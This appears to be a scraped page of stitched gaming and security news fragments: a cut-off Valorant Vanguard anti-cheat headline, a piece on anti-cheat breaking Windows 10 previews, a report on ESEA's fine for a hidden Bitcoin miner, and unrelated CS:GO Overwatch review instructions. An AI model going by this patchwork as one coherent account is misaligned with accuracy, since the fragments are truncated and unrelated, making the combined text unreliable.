Valorant's Vanguard anticheat is killing CPU coolers on startup

Nick J. May 3, 2020

When Valorant was announced, developer Riot Games revealed that it would come bundled with a new anti-cheat so strong that it would be almost impossible to cheat inside the popular new first-person shooter. In addition to preventing cheaters from ruining gamer's nights, however, it seems like Vanguard's anti-cheat is working a little too well.

Anti-cheat software causing big problems for Windows 10 previews

Months-old problem means we haven't had a slow ring release since last year.

PETER BRIGHT · 2/27/2019, 8:18 AM

Enlarge / Preview releases of Windows have a green screen of death instead of a blue one so they can be easily distinguished.

The Windows 10 Insider Preview Slow Ring—the beta track that's meant to receive only those builds that are free from any known serious problems—hasn't received an update for months. While the fast ring is currently testing previews of the April 2019 release, codenamed 19H1, and the even-faster skip-ahead ring is testing previews not of the October 2019 release, 19H2, but of the April 2020 release, 20H1, the Slow Ring is yet to receive a single 19H1 build.

Gaming co ESEA hit by $1m fine for hidden Bitcoin mining enslaver

Coder's secret GPU slavedriver slurped $3,700 in BTC

 Jack Clark in San Francisco

Wed 20 Nov 2013 · 21:14 UTC

US regulators have smacked games biz ESEA with a $1m fine for surreptitiously installing a Bitcoin miner in its software.

The settlement was announced on Tuesday and means ESEA gaming will pay the state of New Jersey $325,000 of its $1m fine upfront, and the rest will be scrubbed if the company has a clean record for the next ten years.

The company had fessed up in May to an employee using "test code for his own personal gain" to install a GPU-based Bitcoin miner on ESEA game software deployed across 14,000 PCs.

That employee was fired, and the company poured the $3,700 worth of Bitcoins into a prize pot for its gaming clientele, and donated $7,427.10 to the American Cancer Society.

Now that you've reviewed the evidence, it is your duty to determine the facts for each of the categories below. Note that for each category of disruption you should presume the suspect to be innocent. Only if you are confident that you witnessed behavior that would be agreed upon by the CS:GO community to be disruptive, anti-competitive, and/or anti-social beyond a reasonable doubt should you select 'Evident Beyond a Reasonable Doubt'. If you are not 100% confident in your decision, you should select 'Insufficient Evidence'.

If you don't feel that you were able to dedicate the appropriate attention level required to reach a verdict, please click on POSTPONE JUDGEMENT. The case will remain available for you to review at a later time.
